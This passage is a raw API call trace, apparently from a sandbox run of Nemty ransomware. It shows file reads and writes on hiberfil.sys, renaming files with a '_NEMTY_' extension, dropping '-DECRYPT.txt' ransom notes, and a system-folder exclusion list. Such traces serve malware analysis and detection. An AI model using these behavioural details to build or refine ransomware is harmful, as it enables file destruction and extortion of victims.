[0046.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0046.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0046.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0046.679] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.679] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653fbb0 | out: lpFileSize=0x653fbb0*=18150282790960100) returned 0 [0046.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0046.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51483634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51483634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51643634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51643634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51803634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51803634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51963634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51963634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52123634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52123634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52283634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52283634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52443634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52443634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52603634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52603634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52763634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52763634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52923634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.765] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52923634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106064868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0046.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106064868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106167268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0046.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.795] CloseHandle (hObject=0xffffffff) returned 0 [0046.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x46) returned 0x6341bd8 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.795] MoveFileW (lpExistingFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), lpNewFileName="C:\\hiberfil.sys._NEMTY_kGOBjgD_" (normalized: "c:\\hiberfil.sys._nemty_kgobjgd_")) returned 0 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bd8 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.795] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2=".") returned 1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="..") returned 1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="...") returned 1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="windows") returned -1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="$RECYCLE.BIN") returned 1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="rsa") returned -1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="NTDETECT.COM") returned -1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="ntldr") returned -1 [0046.795] lstrcmpiW (lpString1="MSOCache", lpString2="MSDOS.SYS") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="IO.SYS") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="boot.ini") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="boot.ini") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="AUTOEXEC.BAT") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="ntuser.dat") returned -1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="desktop.ini") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="CONFIG.SYS") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="RECYCLER") returned -1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="BOOTSECT.BAK") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="bootmgr") returned 1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="programdata") returned -1 [0046.796] lstrcmpiW (lpString1="MSOCache", lpString2="appdata") returned 1 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOCache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOCache", cchWideChar=8, lpMultiByteStr=0x653fc10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSOCache", lpUsedDefaultChar=0x0) returned 8 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOCache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOCache", cchWideChar=8, lpMultiByteStr=0x653fc10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSOCache", lpUsedDefaultChar=0x0) returned 8 [0046.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5e) returned 0x4f916e8 [0046.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.797] CreateFileW (lpFileName="C:\\MSOCache\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0046.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.797] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.797] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0046.798] CloseHandle (hObject=0x3bc) returned 1 [0046.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5e) returned 0x4f916e8 [0046.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.799] CreateFileW (lpFileName="C:\\MSOCache\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0046.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.800] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.800] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.801] CloseHandle (hObject=0x3bc) returned 1 [0046.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.801] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf964890, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf964890, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34239b0 [0046.801] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.801] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf964890, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf964890, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.801] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.801] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.801] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2=".") returned 1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="..") returned 1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="...") returned 1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="windows") returned -1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="$RECYCLE.BIN") returned 1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="rsa") returned -1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="NTDETECT.COM") returned -1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="ntldr") returned -1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="MSDOS.SYS") returned -1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="IO.SYS") returned -1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="boot.ini") returned -1 [0046.801] lstrcmpiW (lpString1="All 